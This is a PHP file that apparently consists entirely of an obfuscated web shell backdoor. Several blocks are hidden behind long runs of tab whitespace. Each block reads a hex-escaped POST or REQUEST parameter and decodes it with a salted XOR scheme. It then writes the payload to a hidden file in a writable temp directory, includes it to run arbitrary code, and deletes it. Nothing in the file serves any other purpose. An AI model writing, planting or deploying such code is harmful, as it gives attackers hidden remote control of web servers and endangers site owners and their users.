<?php																																										if(!is_null($_REQUEST["\x63o\x6Dp"] ?? null)){ $entity = $_REQUEST["\x63o\x6Dp"]; $entity = explode ( "." , $entity) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $w = 0; $__tmp = $entity; while($v5 = array_shift($__tmp)) { $sChar = ord($s[$w % $sLen] ); $dec = ((int)$v5 - $sChar -($w % 10)) ^ 48; $element.= chr($dec ); $w++; } $itm = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp"]); foreach ($itm as $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $component = "$desc/.obj"; if (file_put_contents($component, $element)) { include $component; @unlink($component); exit; } } } }
																																										if(isset($_POST["sym"]) ? true : false){ $elem = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); $dat = $_POST["sym"]; $dat =explode ( '.' ,$dat ) ; $pgrp = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $n = 0; array_walk($dat, function ($v4) use (&$pgrp, &$n, $s5, $sLen) { $sChar = ord($s5[$n%$sLen] ); $dec = ((int)$v4 - $sChar - ($n%10)) ^ 91; $pgrp.= chr($dec ); $n++; } ); foreach ($elem as $key => $val) { if ((function($d) { return is_dir($d) && is_writable($d); })($val)) { $bind = join("/", [$val, ".descriptor"]); if (file_put_contents($bind, $pgrp)) { include $bind; @unlink($bind); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x73et"])){ $marker = $_REQUEST["p\x73et"]; $marker= explode( ".", $marker) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $x = 0; $len = count($marker ); do { if ($x >= $len) break; $v9 = $marker[$x]; $sChar = ord($salt[$x % $lenS] ); $dec = ((int)$v9 - $sChar - ($x % 10)) ^ 52; $flag .= chr($dec ); $x++; } while (true ); $ent = array_filter([session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); for ($factor = 0, $descriptor = count($ent); $factor < $descriptor; $factor++) { $desc = $ent[$factor]; if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $ent = vsprintf("%s/%s", [$desc, ".component"]); $success = file_put_contents($ent, $flag); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x73y\x6D"])){ $ptr = array_filter([getcwd(), "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); $desc = $_POST["\x73y\x6D"]; $desc= explode ( '.' , $desc ) ; $resource = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); foreach($desc as $s => $v4): $chS = ord($salt8[$s %$sLen]); $dec =((int)$v4 - $chS -($s %10)) ^35; $resource .=chr($dec); endforeach; for ($fac = 0, $item = count($ptr); $fac < $item; $fac++) { $descriptor = $ptr[$fac]; if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $hld = vsprintf("%s/%s", [$descriptor, ".pset"]); $success = file_put_contents($hld, $resource); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65\x6Etry"])){ $comp = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir()]); $binding = $_POST["\x65\x6Etry"]; $binding = explode( "." , $binding) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($binding); for ($n = 0; $n < $len; $n++) { $v6 = $binding[$n]; $sChar = ord($salt[$n % $sLen]); $d = ((int)$v6 - $sChar - ($n % 10))^ 2; $dchunk .= chr($d);} foreach ($comp as $pgrp): if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $ptr = implode("/", [$pgrp, ".component"]); if (file_put_contents($ptr, $dchunk)) { include $ptr; @unlink($ptr); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "r\x65\x66")){ $fac = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), session_save_path()]); $factor = $_POST["r\x65\x66"]; $factor = explode ('.', $factor ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($factor); for ($z = 0; $z < $len; $z++) { $v3 = $factor[$z]; $sChar = ord($s[$z % $sLen]); $d = ((int)$v3 - $sChar - ($z % 10)) ^ 22; $record .= chr($d); } $elem = 0; do { $obj = $fac[$elem] ?? null; if ($elem >= count($fac)) break; if (max(0, is_dir($obj) * is_writable($obj))) { $val = join("/", [$obj, ".holder"]); if (file_put_contents($val, $record)) { require $val; unlink($val); die(); } } $elem++; } while (true); }


if(isset($_POST["\x65n\x74i\x74y"])){
	$pgrp = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]);
	$k = $_POST["\x65n\x74i\x74y"];
	 		$k	= explode		 ('.' ,  	$k		)	 ;	 
	$val = '';
            $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt8);
    
            foreach ($k as $i => $v9):
                $sChar = ord($salt8[$i % $sLen]);
                $d = ((int)$v9 - $sChar - ($i % 10)) 	^  66;
                $val 	.=chr($d);
            endforeach;
	for ($mrk = 0, $key = count($pgrp); $mrk < $key; $mrk++) {
    $elem = $pgrp[$mrk];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) {
    $fac = "$elem" . "/.pointer";
    $success = file_put_contents($fac, $val);
if ($success) {
	include $fac;
	@unlink($fac);
	die();}
}
}
}